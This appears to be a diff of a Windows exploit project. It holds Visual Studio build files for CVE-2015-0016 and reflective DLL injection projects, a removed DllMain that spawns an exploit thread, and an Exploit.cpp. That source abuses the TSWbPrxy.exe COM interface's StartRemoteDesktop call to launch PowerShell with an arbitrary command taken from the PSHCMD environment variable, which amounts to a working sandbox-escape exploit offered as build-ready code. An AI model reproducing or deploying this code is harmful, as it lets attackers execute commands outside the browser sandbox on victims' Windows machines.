</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2015-0016.cpp" />
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,24 +0,0 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
DWORD CALLBACK ExploitThread(LPVOID hModule);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@ -1,8 +0,0 @@
// stdafx.cpp : source file that includes just the standard includes
// cve-2015-0016.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -1,16 +0,0 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here

View File

@ -1,8 +0,0 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,357 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="reflective_dll"
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
RootNamespace="reflective_dll"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="true"
FavorSizeOrSpeed="2"
WholeProgramOptimization="false"
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CompileAs="2"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\src\ReflectiveDll.c"
>
</File>
<File
RelativePath=".\src\ReflectiveLoader.c"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath=".\src\ReflectiveDLLInjection.h"
>
</File>
<File
RelativePath=".\src\ReflectiveLoader.h"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@ -0,0 +1,268 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>copy ..\Release\reflective_dll.dll ..\bin\</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
<PostBuildEvent>
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
<ClCompile Include="src\ShimsInstaller.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
<ClInclude Include="src\ShimsInstaller.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,41 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Exploit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ShimsInstaller.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploit.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ShimsInstaller.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,74 @@
#include <Windows.h>
#include "Exploit.h"
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
static const size_t MaxEnv = 32767;
static PCHAR GetEnv(LPCSTR env)
{
char *buf = (char *)malloc(MaxEnv);
if (buf == NULL) {
return NULL;
}
GetEnvironmentVariable(env, buf, MaxEnv);
return buf;
}
static VOID DoTSWbPrxyExploit() {
HRESULT hr;
IMSTSWebProxy *pUnk;
CHAR cmdline[] = "TSWbPrxy.exe";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
PCHAR fullPath = NULL;
PCHAR powershell = NULL;
PCHAR pshCmd = NULL;
fullPath = GetEnv("windir");
if (fullPath == NULL) {
goto freeFullPath;
}
strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe");
powershell = GetEnv("windir");
if (powershell == NULL) {
goto freePowershell;
}
strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe");
pshCmd = GetEnv("PSHCMD");
if (pshCmd == NULL) {
goto freePowershell;
}
hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo);
if (hr == 0)
goto freePshCmd;
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
if (hr != 0)
goto freePshCmd;
pUnk->StartRemoteDesktop(powershell, pshCmd);
pUnk->Release();
freePshCmd:
free(pshCmd);
pshCmd = NULL;
freePowershell:
free(powershell);
powershell = NULL;
freeFullPath:
free(fullPath);
fullPath = NULL;
return;
}
VOID DoExploit() {
CoInitialize(NULL);
DoTSWbPrxyExploit();
CoUninitialize();
}

View File

@ -0,0 +1,5 @@
#ifndef EXPLOIT_H
#define EXPLOIT_H
